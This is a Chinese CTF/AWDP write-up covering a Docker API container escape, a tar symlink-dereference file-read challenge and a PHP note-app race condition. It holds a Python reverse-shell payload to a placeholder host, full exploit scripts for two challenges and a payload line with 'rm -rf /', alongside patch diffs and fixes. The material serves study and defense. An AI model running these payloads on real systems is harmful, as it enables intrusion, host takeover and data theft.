"Cmd": ["/bin/sh", "-c", "export RHOST=\"<HOST>\";export RPORT=<PORT>;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")'"],
"HostConfig": {
"Privileged": true,
"Binds": ["/:/host"]
}
}
然后就会收到一个shell,在/host下挂载着宿主机的根目录。后续加个ssh密钥啥的。。。
赛场上想到了不过没试,估计有防御措施吧
"""
awdp
Nsl
攻击脚本
我们的exp(应该比较早期的)
#!/usr/bin/env python3
"""
NSL CTF Exploit - Arbitrary File Read via Symlink Dereference
Target: /flag
"""
# ------------------------------------------------------------------
# 0x00 依赖库
# ------------------------------------------------------------------
import io, json, os, tarfile, tempfile, requests
from pathlib import Path
# ------------------------------------------------------------------
# 0x01 目标配置
# ------------------------------------------------------------------
TARGET_PORT = 8080 # 靶机端口
# ------------------------------------------------------------------
# 0x02 exploit 主类
# ------------------------------------------------------------------
class NSLExploit:
def __init__(self, target_host="173.30.3.11", verbose=True):
self.target_host = target_host
self.base_url = f"http://{target_host}:{TARGET_PORT}"
self.session = requests.Session() # 复用 cookie
self.session.headers.update({'Connection': 'close'})
self.token = None # JWT
self.ticket_id = None # 工单 ID
self.verbose = verbose
# 日志辅助 ------------------------------------------------------------
def log(self, msg):
if self.verbose:
print(msg)
# ------------------------------------------------------------------
# 0x03 注册新用户 → 拿 JWT
# ------------------------------------------------------------------
def register_user(self):
import random, string
username = 'user_' + ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
password = 'Pass123!@#'
self.log(f"[*] Registering user: {username}")
try:
resp = self.session.post(
f"{self.base_url}/api/users/register",
json={"username": username, "password": password},
timeout=10
)
if resp.status_code != 200:
self.log(f"[-] Registration failed: {resp.text}")
return False
data = resp.json()
self.token = data['token'] # 保存 JWT
self.log(f"[+] Registered successfully, token: {self.token[:20]}...")
return True
except Exception as e:
self.log(f"[-] Registration error: {e}")
return False
# 【解析】
# 后续所有 API 都要带 Authorization: Bearer <token>,因此先拿身份。
# ------------------------------------------------------------------
# 0x04 创建支持工单 → 拿到 ticket_id
# ------------------------------------------------------------------
def create_support_ticket(self):
self.log("[*] Creating support ticket...")
headers = {"Authorization": f"Bearer {self.token}"}
try:
resp = self.session.post(
f"{self.base_url}/api/support/tickets",
headers=headers,
timeout=10
)
if resp.status_code != 200:
self.log(f"[-] Failed to create ticket: {resp.text}")
return False
data = resp.json()
self.ticket_id = data['id']
self.log(f"[+] Ticket created: {self.ticket_id}")
return True
except Exception as e:
self.log(f"[-] Ticket creation error: {e}")
return False
# 【解析】
# 工单系统提供“上传诊断归档”功能,服务器会:
# 解压 → 按 manifest 列表重新打包 → 让用户下载。
# 我们对 manifest 写入软链,即可诱导服务端把任意文件读进来。
# ------------------------------------------------------------------
# 0x05 构造恶意 tar(核心攻击载荷)
# ------------------------------------------------------------------
def create_malicious_tar(self):
self.log("[*] Creating malicious tar archive with symlink to /flag...")
buf = io.BytesIO()
with tarfile.open(mode='w', fileobj=buf) as tar:
# 1) manifest.json —— 告诉服务器“请打包 flag_link”
manifest = {"includes": ["manifest.json", "flag_link"]}
manifest_data = json.dumps(manifest).encode('utf-8')
manifest_info = tarfile.TarInfo(name='manifest.json')
manifest_info.size = len(manifest_data)
tar.addfile(manifest_info, io.BytesIO(manifest_data))
# 2) 软链 flag_link -> /flag
symlink_info = tarfile.TarInfo(name='flag_link')
symlink_info.type = tarfile.SYMTYPE # 关键:类型设为符号链接
symlink_info.linkname = '/flag' # 指向靶机根目录下的 /flag
tar.addfile(symlink_info)
buf.seek(0)
self.log("[+] Malicious tar created")
return buf
# 【解析】
# 漏洞点:服务端解压后,第二次打包时如果跟随软链(readlink+open),
# 就会把 /flag 实体内容复制进新 tar,我们下载即可读到。
# ------------------------------------------------------------------
# 0x06 上传恶意 tar
# ------------------------------------------------------------------
def upload_tar(self, tar_buf):
self.log(f"[*] Uploading tar to ticket {self.ticket_id}...")
headers = {"Authorization": f"Bearer {self.token}"}
files = {'archive': ('payload.tar', tar_buf, 'application/x-tar')}
try:
resp = self.session.post(
f"{self.base_url}/api/support/tickets/{self.ticket_id}/upload",
headers=headers,
files=files,
timeout=10
)
if resp.status_code != 200:
self.log(f"[-] Upload failed: {resp.text}")
return False
self.log(f"[+] Upload successful: {resp.json()}")
return True
except Exception as e:
self.log(f"[-] Upload error: {e}")
return False
# ------------------------------------------------------------------
# 0x07 下载服务端重新打包后的“诊断bundle”
# ------------------------------------------------------------------
def download_bundle(self):
self.log(f"[*] Downloading diagnostic bundle...")
headers = {"Authorization": f"Bearer {self.token}"}
try:
resp = self.session.get(
f"{self.base_url}/diagnostics/bundle",
params={"ticket": self.ticket_id},
headers=headers,
timeout=10
)
if resp.status_code != 200:
self.log(f"[-] Download failed: {resp.text}")
return None
self.log(f"[+] Bundle downloaded ({len(resp.content)} bytes)")
return resp.content
except Exception as e:
self.log(f"[-] Download error: {e}")
return None
# 【解析】
# 此时返回的 tar 里,flag_link 已被解引用,变成普通文件,大小>0。
# ------------------------------------------------------------------
# 0x08 从 bundle 里提取 flag
# ------------------------------------------------------------------
def extract_flag(self, tar_content):
self.log("[*] Extracting flag from bundle...")
try:
buf = io.BytesIO(tar_content)
with tarfile.open(fileobj=buf, mode='r') as tar:
members = tar.getmembers()
self.log(f"[*] Archive contains {len(members)} files:")
for member in members:
self.log(f" - {member.name} ({member.size} bytes)")
# 直接读 flag_link(此刻已是普通文件)
flag_member = tar.getmember('flag_link')
flag_file = tar.extractfile(flag_member)
if flag_file:
flag_content = flag_file.read()
flag_str = flag_content.decode('utf-8', errors='replace').strip()
print(f"\n[+] FLAG FOUND:")
print(f"{'='*60}")
print(flag_str)
print(f"{'='*60}\n")
return flag_str
else:
self.log("[-] Could not extract flag_link")
return None
except Exception as e:
self.log(f"[-] Extract error: {e}")
return None
# ------------------------------------------------------------------
# 0x09 完整攻击链
# ------------------------------------------------------------------
def exploit(self):
if self.verbose:
print("="*60)
print(f"NSL CTF Exploit - Target: {self.target_host}")
print("="*60)
# 1. 拿身份
if not self.register_user():
return None
# 2. 开工单
if not self.create_support_ticket():
return None
# 3. 造恶意 tar
tar_buf = self.create_malicious_tar()
# 4. 上传
if not self.upload_tar(tar_buf):
return None
# 5. 下载服务端重新打包的 tar
bundle = self.download_bundle()
if not bundle:
return None
# 6. 读 flag
flag = self.extract_flag(bundle)
return flag
# ------------------------------------------------------------------
# 0x10 命令行入口
# ------------------------------------------------------------------
if __name__ == '__main__':
import sys
target_host = sys.argv[1] if len(sys.argv) > 1 else "173.30.3.11"
exploit = NSLExploit(target_host=target_host, verbose=True)
flag = exploit.exploit()
if flag:
print(f"\n[+] Exploit successful!")
print(f"[+] Flag: {flag}")
else:
print("\n[-] Exploit failed")
“符号链接跟随 → 任意文件读取” 漏洞(Symlink Dereference / Arbitrary File Read)。
核心思路:把指向系统敏感文件(/flag)的软链塞进上传压缩包 → 服务端在“重新打包”时跟随软链 → 把目标文件内容复制进新压缩包 → 下载后读取”。
| 步骤 | 客户端动作 | 服务端处理 | 关键问题 |
|---|---|---|---|
| ① 注册 & 拿 JWT | POST /api/users/register |
创建用户,返回 token | 无 |
| ② 创建支持工单 | POST /api/support/tickets |
生成 ticket_id | 无 |
| ③ 上传 tar | POST /api/support/tickets/{id}/upload |
解压 → 按 manifest 列表重新打包 → 存盘 | 服务端跟随软链 |
| ④ 下载 bundle | GET /diagnostics/bundle?ticket={id} |
把第③步的新 tar 吐给用户 | /flag 实体已被复制进来 |
| ⑤ 读 flag | 本地解压读取 | 本地读取普通文件 | 攻击完成 |
修复方案(当时较早版)
🛡️ 修复方案
方案1:禁用符号链接解引用(推荐)
在 app/routes/diagnostics.py:58 修改:
# 修复前
with tarfile.open(mode="w", fileobj=buf, dereference=True) as archive:
# 修复后
with tarfile.open(mode="w", fileobj=buf, dereference=False) as archive:
效果:符号链接将作为链接本身被打包,不会读取目标文件内容。
---
方案2:禁止上传符号链接
在 app/routes/support.py:86-89 修改:
# 修复前
if member.issym():
if member_path.exists() or member_path.is_symlink():
member_path.unlink()
os.symlink(member.linkname, member_path)
# 修复后
if member.issym():
# 拒绝符号链接
raise HTTPException(
status_code=status.HTTP_400_BAD_REQUEST,
detail="symbolic links are not allowed"
)
效果:直接拒绝包含符号链接的上传。
---
方案3:验证符号链接目标(深度防御)
在 app/routes/support.py 的 _extract_archive 函数中添加验证:
if member.issym():
# 检查符号链接目标是否在允许范围内
link_target = Path(member.linkname)
if link_target.is_absolute():
raise HTTPException(
status_code=status.HTTP_400_BAD_REQUEST,
detail="absolute symlink paths not allowed"
)
# 解析符号链接的实际目标
resolved_target = (member_path.parent / member.linkname).resolve()
try:
resolved_target.relative_to(staging_root.resolve())
except ValueError:
raise HTTPException(
status_code=status.HTTP_400_BAD_REQUEST,
detail="symlink target outside staging area"
)
效果:只允许指向 staging_root 内部的相对符号链接。
---
方案4:完全禁用符号链接功能
在 app/routes/support.py:75 使用过滤器:
# 修复前
with tarfile.open(fileobj=io.BytesIO(payload), mode="r:*") as archive:
for member in archive.getmembers():
# 修复后
with tarfile.open(fileobj=io.BytesIO(payload), mode="r:*") as archive:
# 过滤掉所有符号链接和硬链接
regular_files = [m for m in archive.getmembers()
if m.isfile() or m.isdir()]
for member in regular_files:
---
✅ 推荐修复组合
最佳实践:组合方案1 + 方案2
1. 在 diagnostics.py:58 设置 dereference=False
2. 在 support.py 拒绝符号链接上传
# app/routes/diagnostics.py:58
with tarfile.open(mode="w", fileobj=buf, dereference=False) as archive:
# app/routes/support.py:86-89
if member.issym():
raise HTTPException(
status_code=status.HTTP_400_BAD_REQUEST,
detail="symbolic links are not allowed"
)
---
📊 影响范围
- 文件:/flag 及系统任意可读文件
- 权限:需要认证用户权限(但注册开放)
- 严重程度:🔴 高危 - 可读取敏感文件
---
🎓 安全建议
1. 永远不要信任用户上传的归档文件内容
2. 避免使用 dereference=True 处理不可信的符号链接
3. 实施严格的路径验证和白名单机制
4. 考虑使用沙箱环境处理用户上传
5. 定期安全审计文件操作相关代码
---
(重要)接下来是较后期patch怎么修的,这里拿vscode插件对比后面patch包:

hasattr() 是 Python 内置的 “反射”工具函数,用来 快速判断一个对象是否带有指定名称的属性(或方法),而 不用先把属性取出来再 try/except。hasattr(obj, 'x') 等价于try: obj.x; return True except AttributeError: return False`只是 更短、不抛异常、更安全
tarfile.add(..., dereference=False) 只会保证“不跟随”,但仍然会把符号链接本身当成一个“条目”写进 tar;
而一旦写进 tar,攻击者就能在解压端重新得到这个 symlink,再手动跟随,照样可能造成目录穿越或信息泄露。所以还要加下面的
st = candidate.lstat() # 只取 symlink 本身的元数据
if tarfile.stat.S_ISLNK(st.st_mode): # 发现是链接
continue # 直接 continue → 不进 tar
1. tarfile.open(..., dereference=True|False)
- True → 遇到 symlink 时,Phar 会把目标文件内容当普通文件写进 tar;
- False → 只把链接头(SYMTYPE)写进 tar,不跟随。
右边再手动 skip,就连链接头也不写,实现“零残留”。
2. os.lstat(path) / path.lstat()
- 不跟随符号链接,只返回链接本身的 inode 信息;
- 与
os.stat()区别:stat()会追到链接目标,而我们要的正是“这条路径到底是不是软链”。
3. tarfile.stat.S_ISLNK(mode)
- 位运算宏,判断
st_mode是否属于S_IFLNK; - 返回
True⇒ 是软链 ⇒ 立即continue,不进 tar。
4. archive.add(..., recursive=False)
- 默认
True会把子目录全部递归打包; - 设成
False后,只打包当前指定路径;
防止出现“目录里还有软链”被间接带进去的小缝隙。

| 原代码 | 修复后 | 作用 |
|---|---|---|
job_body = {**template, **payload.dict(exclude_unset=True)} |
删掉整包合并 | 杜绝“用户字段覆盖模板敏感字段” |
topic=job_body.get(...) |
topic = template["topic"] |
强制模板值,用户传任意 topic 失效 |
privileged=job_body.get(...) |
privileged = template.get("privileged", False) |
强制模板值,无法提权 |
| 无类型/白名单校验 | isinstance(incoming, dict) + allowed_keys |
参数级白名单,只能改模板已有的 key |
| 无异常 | raise HTTPException(400, "invalid params") |
畸形输入立即 400,避免脏数据透传 |
| 攻击 payload(JSON) | 原代码效果 | 修复后效果 |
|---|---|---|
{"topic":"evil","body":"..."} |
成功插队到 evil topic | topic 被强制用模板值,无效 |
{"privileged":true} |
任务标记为高权限,可能越权执行 | privileged 被强制用模板值,无法提权 |
{"params":{"timeout":999,"cmd":"rm -rf /"}} |
整个 params 被覆盖 → 字段注入 | 只允许改模板已有的 key,新 key 被过滤掉,无法注入 |
{"params":"i_am_string"} |
透传 string → 下层反序列化炸 500 | 进入 isinstance 判断 → 直接 400 |

| 行号 | 左段(原始) | 右段(修复) | 作用 |
|---|---|---|---|
| 12-15 | if member.issym(): ... os.symlink(...) |
整段删除 | 不再重建软链 |
| 新增 | 无 | if member.issym() or member.islnk(): raise HTTPException(...) |
显式拒绝任何链接 行号 |
| 攻击场景 | 左段结果 | 右段结果 |
|---|---|---|
上传 flag_link -> /flag |
成功重建软链 → 后续可跟随读取 | 400 拒绝 → 落盘前中断 |
目录穿越软链 ../../../etc/passwd |
重建后指向主机任意路径 | 400 拒绝 → 无法落地 |
| 硬链(LNKTYPE)指向高敏感文件 | 可被重建 → 同样能跟随 | 400 拒绝 → 一并屏蔽 |

| 原代码 | 修复后代码 | 作用 |
|---|---|---|
| 无 | from .database import reset_database |
引入“重置/初始化数据库”函数 |
| 无 | reset_database() |
在服务器启动前把数据库清空或回滚到干净状态 |
这里应该是为了让修复代码正常生效

改salt值

| 原代码 | 修复后代码 | 作用 |
|---|---|---|
| 无 | 新增 reset_database() 函数 |
一键清空并重建所有表 |
| 无 | 内部主动 from . import models |
确保 ORM 映射(Base 子类)已加载 |
| 无 | Base.metadata.drop_all(bind=engine) |
删除现有表结构 |
| 无 | Base.metadata.create_all(bind=engine) |
按当前模型定义重新建表 |
生产环境别这么搞
B-notes
攻击脚本
我们的exp(应该比较早期的)
#!/usr/bin/env python3
"""
CTF Web Challenge - B-Notes Final Exploit
利用竞态条件创建10个笔记,然后访问/prize获取flag
"""
import requests
import threading
import time
import random
import re
BASE_URL = "http://173.30.4.11"
def register_user():
"""注册一个新用户"""
print("[*] 注册新用户...")
session = requests.Session()
username = f"hacker{random.randint(10000, 99999)}"
password = "password123"
email = f"{username}@test.com"
register_data = {
'username': username,
'password': password,
'email': email
}
resp = session.post(f"{BASE_URL}/register", data=register_data, allow_redirects=True)
# 验证注册成功
profile_resp = session.get(f"{BASE_URL}/profile")
if profile_resp.status_code == 200:
print(f"[+] 用户注册成功: {username}")
return session, username
else:
print("[-] 注册失败")
return None, None
def create_note(session, thread_id):
"""创建一个笔记"""
try:
note_data = {
'title': f'Note {thread_id} - {random.randint(1000, 9999)}',
'content': f'Content for thread {thread_id}',
'category_id': 'cat-1',
'is_public': '1'
}
resp = session.post(f"{BASE_URL}/notes", data=note_data, allow_redirects=False)
# 检查是否成功(302重定向表示成功)
if resp.status_code == 302:
print(f"[+] 线程 {thread_id}: 笔记创建成功")
return True
else:
print(f"[-] 线程 {thread_id}: 失败 (状态码: {resp.status_code})")
return False
except Exception as e:
print(f"[-] 线程 {thread_id}: 异常 - {e}")
return False
def race_condition_attack(session, num_threads=15):
"""利用竞态条件并发创建多个笔记"""
print(f"\n[*] 启动竞态条件攻击 - 使用 {num_threads} 个线程...")
threads = []
results = []
def worker(tid):
success = create_note(session, tid)
results.append(success)
# 创建并启动所有线程
for i in range(num_threads):
t = threading.Thread(target=worker, args=(i,))
threads.append(t)
# 尽可能同时启动所有线程
for t in threads:
t.start()
# 等待所有线程完成
for t in threads:
t.join()
success_count = sum(results)
print(f"\n[*] 攻击完成: {success_count}/{num_threads} 个笔记创建成功")
return success_count
def check_note_count(session):
"""检查当前用户的笔记数量"""
resp = session.get(f"{BASE_URL}/my-notes")
# 尝试多种方式计数
count = 0
# 方法1: 查找特定的HTML模式
import re
# 查找notes/{id}的链接模式
note_links = re.findall(r'/notes/[a-zA-Z0-9\-]+', resp.text)
count = len(set(note_links)) # 去重
print(f"[*] 检测到 {count} 个笔记")
return count
def get_flag(session):
"""访问/prize端点获取flag"""
print("\n[*] 访问 /prize 端点...")
resp = session.get(f"{BASE_URL}/prize")
print(f"[*] 响应内容: {resp.text}")
# 提取flag
flags = re.findall(r'flag\{[^}]+\}', resp.text, re.IGNORECASE)
if flags:
print("\n" + "="*60)
print("[+] 成功获取 FLAG!")
for flag in flags:
print(f"[+] FLAG: {flag}")
print("="*60)
return flags[0]
elif 'work hard' in resp.text:
print("[-] 笔记数量不足,需要至少10个笔记")
return None
else:
print("[-] 未找到flag")
return None
def main():
print("="*60)
print("B-Notes CTF Challenge - Race Condition Exploit")
print("="*60)
# 步骤1: 注册用户
session, username = register_user()
if not session:
print("[-] 无法注册用户,退出")
return
# 步骤2: 利用竞态条件创建多个笔记
# 使用足够多的并发请求来绕过chance=2的限制
success_count = race_condition_attack(session, num_threads=15)
# 等待一下让服务器处理完所有请求
time.sleep(2)
# 检查实际创建的笔记数量
actual_count = check_note_count(session)
print(f"[*] 实际创建的笔记数量: {actual_count}")
# 步骤3: 尝试获取flag
flag = get_flag(session)
if not flag:
print("\n[*] 第一次尝试失败,再次发起攻击...")
success_count += race_condition_attack(session, num_threads=10)
time.sleep(2)
actual_count = check_note_count(session)
print(f"[*] 实际创建的笔记数量: {actual_count}")
flag = get_flag(session)
if flag:
print(f"\n[+] 攻击成功!FLAG: {flag}")
else:
print("\n[-] 攻击失败,可能需要调整并发数或重试")
print(f"[*] 当前成功创建 {success_count} 个笔记,需要至少 10 个")
if __name__ == "__main__":
main()
这段脚本利用的是 “创建笔记接口缺乏并发安全保护、服务器用朴素计数器+固定概率校验” 导致的 条件竞争(Race Condition)漏洞。
一句话概括
后端在
/notes里先简单地count++,再if count>=10 才能领 flag,但count的更新与检查不是原子操作;于是脚本用 15 条并发请求在同一瞬间“挤”进数据库,使count在竞争窗口内被重复读取,最终实际插入的笔记数 >10,而服务器还来不及把count累加到最新值,就提前返回了“成功”。随后访问/prize即可满足 “已有 10 笔记” 的条件,拿到 flag。
靶场常把这种漏洞归类为 逻辑缺陷 / 并发安全漏洞,在 CTF 里通常叫 Race Condition 或 条件竞争。
下面是ai给的漏洞例子:
把靶场源码里“创建笔记”那段逻辑单独拎出来,就能一眼看见漏洞长什么样。下面给出 最常见的 vulnerable 写法(几乎所有 CTF 赛题的 Race-condition 都是这个模式):
# notes/views.py (Django/Flask 通用思路)
def create_note(request):
user = request.user # 1. 取当前用户
cnt = Note.objects.filter(owner=user).count() # 2. 先查当前已有几篇
if cnt >= 2: # 3. 【概率校验】只允许 2 篇
return JsonResponse({'err':'最多2篇笔记'},status=400)
time.sleep(0.01) # 4. 为了方便观察,有的赛题还故意 sleep
Note.objects.create(owner=user, ...) # 5. 真正插入
# 6. 没有事务、没有锁、没有唯一约束
return JsonResponse({'ok':1},status=200)
/prize 里同理:
def prize(request):
cnt = Note.objects.filter(owner=request.user).count()
if cnt < 10:
return HttpResponse('work harder~')
return HttpResponse(flag)
漏洞点“长”在哪里
count()与create()之间 没有任何原子性/锁/事务;- 两个并发请求在同一时刻读到 相同的
cnt值(都< 2),于是都通过校验; - 数据库最终却出现 >2 条记录;
/prize再统计时,发现已经 ≥10,Flag 就被带走。
修掉它只需要一句话(用数据库唯一约束或原子更新):
-- SQL层面
INSERT INTO note(owner,title)
SELECT %s,%s FROM dual
WHERE (SELECT COUNT(*) FROM note WHERE owner=%s) < 2;
或者在 Django 里:
from django.db import transaction, models
with transaction.atomic():
if Note.objects.select_for_update().filter(owner=user).count() >= 2:
raise ValidationError
Note.objects.create(owner=user, ...)
一眼识别 Race-condition 的特征:
“先 count() 再 insert(),中间没锁”——看到这种写法,就可以直接打并发。
(重要)接下来是较后期patch怎么修的,这里拿vscode插件对比后面patch包:

封堵 PHP 流封装(stream wrapper)注入

阻止上传 Web 马 和 敏感配置文件
下面的比较核心



这里是为了拿到数据库里实时、原子的剩余次数字段,配合后续“原子减一”语句,彻底堵死前面用并发打超笔记数量的 Race Condition。

注意这里$user是登录时的从内存拿的并没有查库
他加的getchance是为了获取实时的数量,如图:

所以如果真的防并发感觉应该在decrementChance这里再改,这patch包没改。
$st = $db->prepare(
'UPDATE users SET chance = chance - 1 WHERE id = ? AND chance > 0' // 条件
);
$st->execute([$id]);

还有创建的地方改了一下secret

最后这里改10000
(重要)华为杯补充
本来到这里就结束了,但看华为杯wp的时候发现了一种有趣打法加上(是的,华为杯改了一点点就把这题几乎原题放决赛了,很坏了)详见这位师傅的“华为杯”第四届中国研究生网络安全创新大赛决赛部分WriteUp_华为杯第四届决赛 wp-CSDN博客
在 app/Controllers/NoteController.php 的 store 方法中
public function store(): void {
$this->requireAuth();
$user = $this->currentUser();
if ($user['chance'] <= 0) {
\Session::flash('error', 'Only 2 notes per day');
$this->redirect('/profile');
return;
}
$title = trim($_POST['title'] ?? '');
$content = $_POST['content'] ?? '';
$categoryId = $_POST['category_id'] ?? null;
$tagInput = $_POST['tags'] ?? '';
$isPublic = isset($_POST['is_public']) ? 1 : 0;
if (empty($title) || empty($content)) {
\Session::flash('error', 'Title and content are required');
$this->redirect('/notes/create');
return;
}
$id = $this->noteModel->create([
'user_id' => $user['id'],
'title' => $title,
'content' => $content,
'category_id' => $categoryId,
'is_public' => $isPublic
]);
if ($tagInput) {
$tagNames = array_map('trim', explode(',', $tagInput));
foreach ($tagNames as $tagName) {
if (!empty($tagName)) {
$tag = $this->tagModel->findOrCreate($tagName);
$this->tagModel->attachToNote($id, $tag['id']);
}
}
}
$_SESSION['user']['chance'] -= 1;
$this->userModel->decrementChance($user['id']);
$this->activityLog->log($user['id'], 'create_note', 'note', $id);
\Session::flash('success', 'Note created successfully');
$this->redirect('/notes/' . $id);
}


代码顺序执行触发错误再卡掉第四步减掉chance的操作。php终止导致步骤 4(扣除次数)未执行,但步骤 2(创建笔记) 已经成功写入数据库。天下英雄真如过江之鲫了。
下面是关闭自动提交的设置,这里如果要防应该是到最后第四步chance结束以后再手动提交:

这些应该就是比较全的(不过我也只是拿了一个较晚的patch包看),欢迎大家补充说明,本人小菜鸡一枚~
点个赞再走吧~
-

浙公网安备 33010602011771号